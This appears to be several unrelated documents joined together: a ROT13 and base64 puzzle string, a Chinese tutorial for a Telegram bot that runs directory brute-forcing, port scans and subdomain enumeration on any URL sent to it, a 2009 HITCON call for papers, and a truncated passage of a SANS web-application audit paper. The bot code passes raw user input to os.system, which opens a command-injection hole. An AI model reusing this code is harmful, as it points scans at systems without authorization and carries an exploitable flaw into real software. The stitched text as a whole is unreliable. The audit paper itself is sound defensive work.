Frevbhfyl? Ntnva? Ebg guvegrra? Whfg jung qb lbh gnxr zr sbe? QmFzZTY0PyBOb3cgeW91J3JlIGp1c3QgcmVhY2hpbmcuLi5UaGluZ3MgYX JlIG9ubHkgZXZlciBhcyBjb21wbGljYXRlZCBhcyB0aGV5IG5lZWQgdG8gYmU uICBCdXQgaWYgeW91IGdldCBzdHVjaywgd2hlbiB5b3UncmUgYmx1ZSwgd HJ5IHR1cm5pbmcgdXAgdGhlIGhlYXQuICBJdCB3aWxsIG1ha2UgeW91IHRo aW5rIHlvdSdyZSBvbiBhbiBpc2xhbmQsIGFuZCBoZXksIGF0IGxlYXN0IHRoZ W4geW91J2QgYmUgb24gYW4gaXNsYW5kLg==
pdf
我是衬衫 忍者的弟弟 今天我去 TG 看片 发现了一个机器人 感觉很好玩 那我们也整一个 用来扫描吧! 首先 我们去买一个服务器 好的 1 分钟过去了 我们买完了 我们现在需要注册一个机器人 @BotFather TG 加他 起一个好听一点的名字就可以了 很快啊 我们就拿到了自己的 Token https://core.telegram.org/bots/api 这个是 API 文档 可以随便看看 我建议大家先去看一次 python-telegram 那么开始吧 导包下 from telegram import Update,Bot from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext 首先 main 方法 绑定方法 我们先看看 start 方法去熟悉一下 update.message.reply_text(“这个是回复用的”) 我们可以通过这个 去发消息 怎么读取消息呢? 用这个 update.message.text 好的 我们弄出来最基本的东西了 我们现在可以通过 TG 发消息来调用 python 了 举个例子 我们来弄一个目录爆破 Pathscan Bot 是用来发文件的 在上文 这个里面我用了 ffuf 来扫 因为快 然后保存到 test.json 里 用 sendDocument 去发文件 这里面我们输入的命令是/pathscan 通过上面的 add_handler 绑定的那个哦 我的一些正则 瞎 jb 写的 #!/usr/bin/env python # -*- coding: utf-8 -*- import re import requests import os from ESD import EnumSubDomain import nmap import socket from telegram import Update,Bot from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext bot=Bot("your token") def parseDomain(info): domain= re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', info) return domain[0] def parseInfo(info): #取 URL url = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',info) return url[0] def parseIP(info): ip = re.findall("(?:[0-9]{1,3}\.){3}[0-9]{1,3}$",info) domain = re.findall(r'(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-]{,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}', info) if ip : return ip[0] elif domain : new_ip = socket.gethostbyname(domain[0]) return new_ip def parseRootDomain(info): rootdomain=re.search("([a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62}))",info) return rootdomain[0] def start(update: Update, context: CallbackContext) -> None: update.message.reply_text("好兄弟 给我发个 URL 让我扫描吧") update.message.reply_text(update.message.text) def pathscan(update: Update, context: CallbackContext) -> None: global bot update.message.reply_text(parseDomain(update.message.text)+"扫描中好兄弟请不要着 急") domain=parseDomain(update.message.text) os.system("ffuf -w /root/dict/fuzz.txt -o /root/result/test.json -t 50 -u "+domain+"FUZZ ") bot.sendDocument(CHAT_ID, open("/root/result/test.json", 'rb')) os.remove("/root/result/test.json") def get_url(update: Update, context: CallbackContext) -> None: response = requests.get(parseInfo(update.message.text)) update.message.reply_text(response.text) def portScan(update: Update, context: CallbackContext) -> None: global bot update.message.reply_text(parseIP(update.message.text)+" 在扫描了!!等着吧") ip = parseIP(update.message.text) scanner = nmap.PortScanner() scanner.scan(ip,ports="1-10000",arguments="-oN /root/result/ports.json") bot.sendDocument(CHAT_ID, open("/root/result/ports.txt", 'rb')) os.remove("/root/result/ports.txt") def subdomain(update: Update, context: CallbackContext) -> None: result = EnumSubDomain(parseRootDomain(update.message.text)).run() print("running") update.message.reply_text(result) def main(): updater = Updater("your token", use_context=True) dispatcher = updater.dispatcher dispatcher.add_handler(CommandHandler("start", start)) dispatcher.add_handler(CommandHandler("pathscan", pathscan)) dispatcher.add_handler(CommandHandler("get_url", get_url)) dispatcher.add_handler(CommandHandler("portscan", portScan)) dispatcher.add_handler(CommandHandler("subdomain", subdomain)) updater.start_polling() updater.idle() if __name__ == '__main__': main() 剩下随意 直接服务器运行 nohup python3 app.py& 我们可以用这个机器人做很多事情这里不展开写了 我后面会加上 Bypass 一些东西的功能 然后把其他模块写全 比如子域名 我就是随便找了一个没好好写
pdf
2009 年駭客年會徵求論文 HIT 2009      Call For Paper  時間:2009 年 7 月 18 日~19 日(星期六~星期日) 主辦單位:CHROOT – Security Research Group (http://www.chroot.org) TWISC – Taiwan Information Security Center (http://www.twisc.org) 活動網址:http://hitcon.org 台灣第五屆駭客年會將於 2009 年 7 月 18~19 日(週六、日)舉行,歡迎各 界人士踴躍投稿。論文內容以探討實作技術並能演講 50 分鐘為佳。 為了讓會議主題能夠明確,我們擬定了以下議題,有興趣的朋友可以從下 列議題中選擇自己擅長的方面進行準備(包括論文、程式碼和投影片),但不以 下列的議題為限。今年特別歡迎各項有關行動裝置系統的安全技術探討。 1. Exploit technique 對於網路、作業系統和應用程式等各方面攻擊程式或手法的技術研究。 2. Honeypot 構建安全的 Honeynet 系統,對各種入侵進行詳細的技術分析,瞭解攻擊 者行為和 攻擊手法等。或者,對於 Honeypot 進行反追蹤技術的探討。 3. Virus and anti-virus 電腦病毒和防毒軟體新趨勢或研究。 4. Reverse engineering 對二進位檔或者不明資料進行詳細解析,構建反向工程的具體過程和方 法。 5. Audit software vulnerability 對開放原始碼的軟體進行安全性檢測與分析的具體過程和方法,或是對 商業軟體所 進行的安全性分析。 6. Backdoor and rootkit 各種新型態的後門或木馬的設計研究或是檢查方式。 7. Web and database security 各種網頁、網站軟體和資料庫的安全性探討。 8. Firewall, WAF, IDS and IDP 防火牆(Firewall)、入侵偵測(防禦)系統(IDS、IDP)等的技術現狀和發展前 景,入侵 檢測系統在現階段的實際應用情況等。 9. Hardened system 對各種當前各種作業系統進行安全加強,提升不同安全級別方法、技 術、發展方向等。 10. Covert Channel 隱藏傳輸通道。將某特定的資料隱藏包裝於其它正常的資料串流或協定 中,進行傳 送。 論文可選中文或英文撰寫。 每文第一頁必須包含題目、作者、聯絡人、 演講者及聯絡資料(電話、電子郵件)等,並以 PDF 檔格式,於 2009 年 6 月 15 日前,利用電子郵件附帶傳送檔案至 [email protected]。 為鼓勵投稿,本次會議將致贈每篇被接受之論文 NT $3,000 元整。 此 外,大會將依作者意願,將論文或演講內容以電子或書面媒體方式散佈。 除了上述的論文徵求外,本次駭客年會計畫了一場 0-day exploit 展示, 只要在 2009 年 6 月 15 日前,將您個人所發現的漏洞(未公開且尚未被修 正),以電子郵件方式傳送至 [email protected],經過確認,就有機會免費取 得本屆駭客年會的入場券,並且上台展示漏洞。
pdf
IT Audit: Security Beyond the Checklist This paper is from the SANS IT Audit site. Reposting is not permited without express written permission. Copyright SANS Institute Author Retains Full Rights Interested in learning more? Check out the list of upcoming events offering "IT Security Audit and Control Essentials (Audit 410)" at http://it-audit.sans.orghttp://it-audit.sans.org/events/ © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Audit of a Small LAMP (Linux, Apache, MySQL, and PHP) Web Application SANS GIAC Systems and Network Auditor (GSNA) practical Version 3.1 — Option One Herschel Gelman May 2, 2004 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 2 ABSTRACT This paper contains an audit of a web application available on the Internet that is run on PHP, MySQL, Apache, and Linux—a combination commonly known as a LAMP system. As a web hosting company hosts the application, the scope of the audit encompasses only those components available to the developer: the PHP source code and any site configuration options available to the developer. In the first section, the paper will cover initial research into the system, risks to the system, and current practices regarding web application security. Part two contains the audit checklist, with testing procedures and compliance criteria. Part three gives the results of the audit. Part four contains the audit report, listing the findings and recommendations. © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 3 TABLE OF CONTENTS ABSTRACT.......................................................................................... 2 TABLE OF CONTENTS....................................................................... 3 1 Research in Audit, Measurement Practice, and Control ......... 6 1.1 SYSTEM IDENTIFICATION....................................................................... 6 1.2 MOST SIGNIFICANT RISKS TO THE SYSTEM............................................. 7 1.2.1 Threats to the System ...............................................................................7 1.2.2 Information Assets Affected by Audited Device.....................................8 1.2.3 Major Vulnerabilities of the Web Application ........................................9 1.3 CURRENT STATE OF PRACTICE............................................................ 11 1.3.1 Articles, Papers, and Mailing Lists .........................................................11 1.3.2 Tools.........................................................................................................13 2 Audit Checklist.......................................................................... 16 2.1 CHECK FOR HIDDEN COMMENTS IN HTML ......................................... 16 2.2 SESSION HIJACKING VIA COOKIE MANIPULATION................................. 17 2.3 SQL INJECTION................................................................................. 18 2.4 TEST FOR ADEQUATE SAFEGUARDS AGAINST BANDWIDTH THEFT ......... 19 2.5 SCAN FOR SAMPLE FILES OR SCRIPTS.................................................. 21 2.6 TEST BACKUP PROCEDURES............................................................... 23 2.7 UNSAFE HIDDEN FORM ELEMENTS...................................................... 24 2.8 ENSURE DIRECTORY BROWSING SETTINGS ARE CORRECT.................... 26 2.9 ATTEMPT TO BRUTE FORCE ADMINISTRATIVE ACCOUNT....................... 27 2.10 VERIFY SECURITY OF ANY CLIENT-SIDE JAVASCRIPT.......................... 29 3 Audit Testing, Evidence, and Findings ................................... 32 3.1 CHECK FOR HIDDEN COMMENTS IN HTML ......................................... 32 3.1.1 Evidence...................................................................................................32 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 4 3.1.2 Findings....................................................................................................33 3.2 SESSION HIJACKING VIA COOKIE MANIPULATION................................. 33 3.2.1 Evidence...................................................................................................33 3.2.2 Findings....................................................................................................34 3.3 SQL INJECTION................................................................................. 34 3.3.1 Evidence...................................................................................................34 3.3.2 Findings....................................................................................................36 3.4 TEST FOR ADEQUATE SAFEGUARDS AGAINST BANDWIDTH THEFT ......... 37 3.4.1 Evidence...................................................................................................37 3.4.2 Findings....................................................................................................38 3.5 SCAN FOR SAMPLE FILES OR SCRIPTS.................................................. 38 3.5.1 Evidence...................................................................................................38 3.5.2 Findings....................................................................................................39 3.6 TEST BACKUP PROCEDURES............................................................... 39 3.6.1 Evidence...................................................................................................39 3.6.2 Findings....................................................................................................40 3.7 UNSAFE HIDDEN FORM ELEMENTS...................................................... 41 3.7.1 Evidence...................................................................................................41 3.7.2 Findings....................................................................................................42 3.8 ENSURE DIRECTORY BROWSING SETTINGS ARE CORRECT.................... 42 3.8.1 Evidence...................................................................................................42 3.8.2 Findings....................................................................................................43 3.9 ATTEMPT TO BRUTE FORCE ADMINISTRATIVE ACCOUNT....................... 43 3.9.1 Evidence...................................................................................................44 3.9.2 Findings....................................................................................................44 3.10 VERIFY SECURITY OF ANY CLIENT-SIDE JAVASCRIPT.......................... 45 3.10.1 Evidence...................................................................................................45 3.10.2 Findings....................................................................................................46 4 Audit Report.............................................................................. 47 4.1 EXECUTIVE SUMMARY ........................................................................ 47 4.2 AUDIT FINDINGS ................................................................................ 47 4.2.1 Check For Hidden Comments in HTML ...............................................47 4.2.2 Session Hijacking Via Cookie Manipulation.........................................48 4.2.3 SQL Injection ...........................................................................................48 4.2.4 Test for Adequate Safeguards Against Bandwidth Theft.....................48 4.2.5 Scan for Sample Files or Scripts ............................................................48 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 5 4.2.6 Test Backup Procedures ........................................................................49 4.2.7 Unsafe Hidden Form Elements .............................................................49 4.2.8 Ensure Directory Browsing Settings Are Correct..................................49 4.2.9 Attempt to Brute Force Administrative Account..................................49 4.2.10 Verify Security of any Client-Side Javascript.........................................50 4.3 AUDIT RECOMMENDATIONS ................................................................ 51 4.3.1 Highly Recommended Actions..............................................................51 4.3.1.1 Protect Against Bandwidth Theft...............................................................................51 4.3.1.1.1 Description..........................................................................................................51 4.3.1.1.2 Costs....................................................................................................................51 4.3.1.1.3 Compensating Controls.....................................................................................52 4.3.2 Lower Priority Recommendations ........................................................52 4.3.2.1 SQL Injection ...............................................................................................................52 4.3.2.2 Hidden form elements................................................................................................52 4.3.2.3 Future password safety ..............................................................................................52 References....................................................................................... 54 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 6 1 Research in Audit, Measurement Practice, and Control 1.1 System Identification The system to be audited is a database-driven web application that is available on the Internet. It allows the public to create free accounts, search the review database, submit new votes and reviews on items in the database, and add new items to the database. It also has administrative functionality, so those users who are granted the appropriate rights can perform administrative tasks through the same web interface. For the purposes of this document, we will refer to the application as AuditApp. The application design and development was a one-man effort, and therefore only this single developer has reviewed the system. This is also this developer’s first time using PHP and SQL, which increases the likelihood that potential secu- rity holes have made their way into the code. The web application was made available to the public via the Internet with no comprehensive security review. The goal of this audit is to provide an independent security evaluation of the web application. The application is powered by what is known as a “LAMP” system. This acronym refers to the open source combination of Linux as the operating system, Apache as the web server, MySQL as the backend database server, and PHP, Perl, or Python as the scripting language. In this specific case, the system is running Debian Linux 3.0r2, Apache 1.3.29, MySQL 4.0.17, and PHP 4.2.3. A large web hosting company runs the web and database servers. The scope of this audit encompasses the web application level of this system: the PHP code itself. It also covers the customer’s workflow and interactions with the web hosting server, as potential vulnerabilities could be introduced in that way as well. In addition, it covers any configuration options for the web site that are available to the developer, but not options that are set by the web hosting company that the customer has no control over. The MySQL database, Apache server, and the operating system itself are outside the scope of this audit. The customer has no control over any of these components, as the web hosting com- pany manages these portions of the system. Ideally, these aspects should also be examined in a separate audit. However, any obvious security issues with the web host’s configurations that are discovered during the course of the audit will be reported, as the choice of a web hosting company is still within the developer’s control. If it turns out that this web © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 7 host uses poor security practices, the developer has the option of switching to a company with tighter security. 1.2 Most Significant Risks to the System 1.2.1 Threats to the System Because of the single owner and developer of this web site, intentional internal threats are not an issue; there are no disgruntled employees that may be at- tempting to damage the site. The system administrators at the web hosting company are considered external in this case, because our audit scope is focus- ing on the web application code itself. The data stored on the web server is all drawn from a combination of publicly available sources and input from visitors to the web site. The only data stored on the site that may be of possible interest to an outside party would be the collec- tion of e-mail address in the database, as all users who sign up on the site are required to include a valid e-mail address. Those addresses could be sold to spammers, and therefore might have some small value to an intruder. The following table details some of the possible threats to this system: Threat Effect Accidental program- ming error by applica- tion developer Web site visitors receive error messages or see im- proper site operation. Could divulge sensitive informa- tion (database table names, directory paths, user- names). Loss of confidence in site by the public, lead- ing to possible loss in revenue. Could also give admin- istrative access to the web application to all visitors. Exploit against pro- gramming error in web application code Attacker could gain access to user-level account on web host, full access to customer’s database on database server. That gives full access to all e-mail addresses stored in the database, plus access to modify or delete any information in the database. The net effect is a loss of privacy for users of the site, and possible loss in revenue due to public’s loss in confidence of the site, and/or due to loss of data. Loss of data by web hosting company— this could be due to an attack on their sys- tems, environmental threats, etc. If the web hosting company lost all the data for the web site—application code and database contents—then the customer would need to fall back to his own backups. If there were no backups, or if the backups were not func- tional, the developer would need to build the web site from scratch, including all code and data, and all users would need to register again. This would be a cata © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 8 Threat Effect strophic loss, and it is possible that the site simply would not recover from this, due to the large amount of data that would need to be re-entered. It would also be im- possible to retrieve all user-submitted reviews in this case. 1.2.2 Information Assets Affected by Audited Device As this one-person “organization” exists entirely to create and support this web site, the audited web application directly affects practically every aspect of the organization. This includes all data owned by the organization, and all services provided by the organization. E-mail is the only function which is used by the site owner which is unaffected by changes to this application. Information Asset Description Source code to the web application The web application represents a significant amount of development work, and may be used as a basis for future commercial work by the developer. Disclosure of the code to the public could also compro- mise the security of the site, as any security holes in the code would become public knowledge. If the code is well- written, though, this would not be a concern. Public data stored in the database Most of the information stored in the database is publicly available through the web application, and therefore con- fidentiality is not a requirement. However, AuditApp would be useless without this data, and therefore its availability is critical to the successful functioning of the web site. The data integrity is also important, arguably as important as availability. The reason that the public visits the web site is to access this data; if the data they were viewing on the web site was inaccurate, and they realized this, they would be less likely to return in the future. Private data stored in the database While most of the database stores publicly available in- formation, some data in it is not accessible to the public. This data includes: • Real names of users who have accounts on the site (only usernames are visible to other users, which may or may not have anything to do with the users’ real names.) • MD5 hashes of all users’ passwords • All users’ e-mail addresses © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 9 Information Asset Description • Date that each user registered for their account • Date and time of each users’ last login to the web ap- plication • Access levels of each user on the system: most users have the most basic access levels, but some have ad- ditional rights to perform administrative tasks on the site. Bandwidth The web host limits the bandwidth available to the site. Usage of bandwidth over that limit—whether through le- gitimate web traffic or “theft” of bandwidth by another site—would result in additional costs or the temporary shutdown of the web site. Service provided by web site The web site provides a vast amount of data to the public. This information consists of information available at other web sites in other formats, as well as large amounts of unique content contributed by visitors to the site as well as the owner of the site. The value of the web site mostly relies on this data plus the code that powers the applica- tion. 1.2.3 Major Vulnerabilities of the Web Application The major potential vulnerabilities in this web application are listed below. For each vulnerability we will list the likelihood of it being exploited on a scale of one through five, with one being low and five being high. In addition, the impact of a successful exploitation of the vulnerability on the web site is also listed using the same rating scale. Vulnerability Likelihood (exposure) Impact 1. Programming error in application leaves site vul- nerable for an attacker to get administrative access to the web site, through the application’s own web interface to the public. 3 4 2. Malicious attacker exploits programming error in application to get full access to the site’s database. 3 4 3. Catastrophic loss of data at web hosting company. This could be due to environmental causes, mali- cious attackers, hardware failures, etc. As the cus- tomer has no control over any of these, they are all treated together from this audit’s point of view. 1 5 4. Cross-site scripting attack. This could yield ad 3 4 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 10 Vulnerability Likelihood (exposure) Impact ministrative rights to the web application 5. SQL injection attack. This vulnerability could also yield administrative rights to the application 3 4 6. Non-critical programming error in the PHP or SQL code that leads to loss of some or all functionality of the site (e.g., error in PHP cause some pages to give errors to the user) 3 2 7. Session hijacking by spoofing valid session identi- fier. This could give administrative access to the ap- plication if an administrative account’s session is hi- jacked 2 4 8. Denial of service attack 3 3 9. Leak of hidden information through HTML com- ments 2 3 10. Session hijacking by modifying client’s stored cookie. This could give administrative access to the application if an administrative account’s session is hijacked 3 4 11. Password to an administrative account is guessed or brute-forced 2 4 12. Sample files, scripts, or applications from the web server or other installed software are left active on the web site 3 4 13. Modification of hidden form fields allows unex- pected behavior 4 3 14. Leak of hidden information through client-side Javascript 2 3 15. Weak protection employed through client-side Javascript 3 4 16. Usernames could be collected through login error message that reveal that a valid username was at- tempted (i.e., if the error message the web site shows on a failed login attempt changes depending on whether the username was valid or not) 4 1 17. Theft of bandwidth caused by another web site linking directly to images or other media on this web site. This could use up all of the bandwidth allocated to the web site by the web host, causing the site to disabled. In effect, this would create a denial of 3 2 © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 11 Vulnerability Likelihood (exposure) Impact service against the web site 18. Web server automatically indexes site’s directo- ries, and makes them available if users manipulate the URL in their browser. For example, if http://www.site.com/includes/main.css is referenced in the HTML code for the site, a user who points their browser to http://www.site.com/includes would see the full contents of that directory. This can expose files that the user should be able to view. 2 3 1.3 Current State of Practice 1.3.1 Articles, Papers, and Mailing Lists Given the sheer size of the World Wide Web today, and the large number of companies that rely on their public web site as their primary source of revenue, it’s somewhat surprising that so little attention has been focused on web applica- tion security in the past. In recent years, however, this situation has been im- proving. Today there are many articles, papers, and discussions available on the Internet devoted to the specific issues of web application security. SecurityFocus1 hosts one such discussion: a mailing list devoted to web applica- tion security named, appropriately enough, the Web Application Security Mailing List2. The list archives are available online3 and extend from January 2001 to the present. In these archives are hundreds of discussions of web application secu- rity issues. Some of these are specific to a certain web scripting language or operating system, but many are general enough to be applicable to all web appli- cations. Another collection of information is available at The Open Web Application Secu- rity Project (OWASP)4. This site has news and columns on web application se- curity, as well as auditing tools. From my assessment of the site, the most useful item was the OWASP Guide to Building Secure Web Applications and Web 1 http://www.securityfocus.com 2 http://www.securityfocus.com/popups/forums/web_application_security/intro.shtml 3 http://www.securityfocus.com/archive/107 4 http://www.owasp.org © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 12 Services5, which is a document that attempts to cover every aspect of web appli- cation security. This site also promises a future resource called the OWASP Testing Guide6, the goal of which is to “[document] strategies and techniques to test web applications for security vulnerabilities.” As of April 2004 the testing guide is not yet available. The SANS Reading Room also has several papers which are of use to someone auditing the security of a web application: • “Securing e-Commerce Web Sites” by Ariel Pisetsky7. This paper focuses more on the server end than the web application end, but it does give a sum- mary of some of the types of attacks a web site may be expected to cope with. It also discusses the pros and cons of several network configurations. • “Web Application Security — Layers of Protection” by William Fredholm8. This paper provides a good overview of web application security. It also re- fers to OWASP as a valuable resource, and then covers the security that dif- ferent layers of the web application can provide. It also goes into the process of testing the security. • “Cross-Sight [sic] Scripting Vulnerabilities” by Mark Shiarla9. This provides a fairly complete discussion of cross-site scripting, including examples of at- tacks and methods of protecting a web site or web application from these at- tacks. While on the subject of cross-site scripting, CERT has a very good document10 discussing the issue. Their focus is more at the end user than the auditor or web developer, but it is still a very good description of the issue. Another common issue in web applications is SQL injection attacks. SitePoint11 has an excellent article from 2002 in their archives called “SQL Injection Attacks 5 http://www.owasp.org/documentation/guide 6 http://www.owasp.org/documentation/testing 7 http://www.sans.org/rr/papers/index.php?id=303 8 http://www.sans.org/rr/papers/index.php?id=965 9 http://www.sans.org/rr/papers/index.php?id=478 10 http://www.cert.org/archive/pdf/cross_site_scripting.pdf 11 http://www.sitepoint.com © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 13 — Are You Safe?”12 by Mitchell Harper. This article is aimed at the web applica- tion developer, and gives thorough examples of what SQL injection is as well as how to protect against it. A second good discussion of SQL injection attacks is “SQL Injection Walk- through”13 at SecuriTeam.com. This page focuses on exploiting a web site using SQL injection, which makes it a good resource for auditors and penetration test- ers. It also includes a number of links to other Web resources on this subject. It provides very little coverage of preventing vulnerabilities in web applications, un- less the exploitation examples can assist a web developer in understanding how to properly secure his/her application. Gunter Ollmann published a paper entitled “Application Assessment Questioning: What should a consultant be looking for when conducting an application assess- ment?”14. This paper gives a very comprehensive checklist of questions that can be used by an auditor conducting an assessment of any application, web-based or not. 1.3.2 Tools There are many free tools available on the Internet that can assist in the process of auditing a web application: Nessus15, the popular open source security scanner, has a large number of plug- ins that scan for web application vulnerabilities. Most of these are targeted at specific vulnerabilities in specific web applications, but there are some general tests that can be of value to someone auditing a custom web application. In ad- dition, since the program and all the scanning plug-ins are open source, we can view the source code that is doing these tests to look for similar potential prob- lems in our audits. For example, if one had been unable to find a decent online resource on cross-site scripting, I counted 64 plug-ins that test for cross-site scripting issues in various web applications. Looking at the source code to those would give invaluable insight into the process of actually exploiting some of those vulnerabilities, which we could then attempt to adapt to the web application we are auditing. In addition, if the scope of an audit encompassed more than this one does—for example, if the auditor was assessing the security of the operating 12 http://www.sitepoint.com/article/794 13 http://www.securiteam.com/securityreviews/5DP0N1P76E.html 14 http://www.technicalinfo.net/papers/AssessmentQuestions.html 15 http://nessus.org © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 14 system being used as well—Nessus has a large number of tests that would as- sist in that task. Another tool that I find extremely useful is a bookmarklet that will show all hidden form elements on a web page16, and allow you to modify any of them directly within that page. If you drag that bookmarklet to your personal toolbar in Mozilla—or other similar location in other browsers—you can then click on it while viewing any page, and instantly have editable access to all hidden form elements. As insecure usage of hidden form elements is very common on web sites, there are many instances when this tool will help with auditing efforts. An additional useful tool that OWASP recently made available is WebScarab17. This tool combines a number of different functions that are useful to a web appli- cation auditor: • A local interception proxy server that allows one to capture all requests sent through it, and modify them before passing them along. These modifications are scriptable. • A spider function to traverse all links on the site. • A visual graph of session IDs, to determine if the session IDs sent by the ap- plication are sufficiently unique and random. • A quick display of which pages on the site contain Javascript, which contain HTML comments, and which pages set cookies. Brutus18 is another valuable tool for web application testing. As the name im- plies, it performs brute-force username/password guessing against web sites. To use Brutus to maximum effect, one needs sufficiently large word lists. “Kevin’s Word List Page”19 is an excellent collection of dictionary files plus links to other word lists. Lilith20 is a Perl script that will attempt to automatically spider a site and check for insecurities in form elements, by passing special characters to the application. 16 http://www.squarefree.com/bookmarklets/forms.html#show_hiddens 17 http://www.owasp.org/development/webscarab 18 http://www.hoobie.net/brutus/ 19 http://wordlist.sourceforge.net/ © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 15 However, in testing it for potential use in this audit, I found that the current ver- sion gave far too many false positives for it to be helpful. In a test run, it essen- tially listed every form element in the test page as vulnerable to SQL injection, when a code inspection showed that this was not the case. 20 http://users.pandora.be/0xffffffce/scanit/tools/lilith/ © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 16 2 Audit Checklist The following is the checklist for this audit: 2.1 Check For Hidden Comments in HTML Checklist Item Number: 001 Checklist Item Name: Check For Hidden Comments in HTML Reference: OWASP Guide to Building Secure Web Applications and Web Serv- ices, pages 50-51. Risk: This test addresses vulnerability number nine in section 1.2.3 of this document. HTML comments are not shown to a visitor to the web site, but are available in the actual HTML code. Any visitor can therefore view HTML com- ments simply by using the “view source” function in their web browser, which means that sensitive information should never be placed in HTML comments. The degree of exposure is considered to be fairly low, since with a single devel- oper, it is easier to keep track of what comments are placed in the HTML. The severity of loss is medium: the comments could contain anything. In the worst case, they could mention incomplete files on the system which do not properly restrict access, or files that contain back doors to the application. This has the potential to give an outside user full access to the site’s database and all of their content. The net risk is therefore medium-low (2.5). Testing Procedure/Compliance Criteria: Use the WebScarab tool (see section 1.3.2). Click on the “Spider” tab, and select “Fetch Recursively.” Next, click on the “Manual Request” tab, and enter application’s URL into the URL field at the top of the “Request” section. Click on “Fetch Response” at the bottom of that screen. Then, go back to the “Spider” tab, click on the top level of the web site, and click the “Fetch Tree” button. One can then go to the “Summary” tab and view the details for every file on the web server. If there is a check mark in the “comments” column next to a file, then there are HTML comments in that file. Right-click on each file with comments and select “show comments.” If the comments that WebScarab shows are innocuous, such as comments sepa- rating sections of the web page in the code (e.g., “Ad banner code:” or “Menu bar”), or other comments that do not leak any potentially sensitive information, © SANS Institute 2004, Author retains full rights. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 © SANS Institute 2004, As part of GIAC practical repository. Author retains full rights. Herschel Gelman SANS GSNA Practical Assignment Version 3.1 — Option 1 17 then the site passes this test. Items which would cause a failure on this test in- clude the following: filenames on the web site which are not normally accessible (i.e., do not show up in the WebScarab spider results); usernames or passwords; comments that reveal holes in the site’s code (e.g., “Fix this: it allows anyone to delete the site by clicking on this link”). Any other comments which seem to di- vulge too much information would also cause the site to fail this test. Test nature: Objective Evidence: To be determined Findings: To be determined 2.2 Session Hijacking Via Cookie Manipulation Checklist Item Number: 002 Checklist Item Name: Session Hijacking Via Cookie Manipulation Reference: OWASP 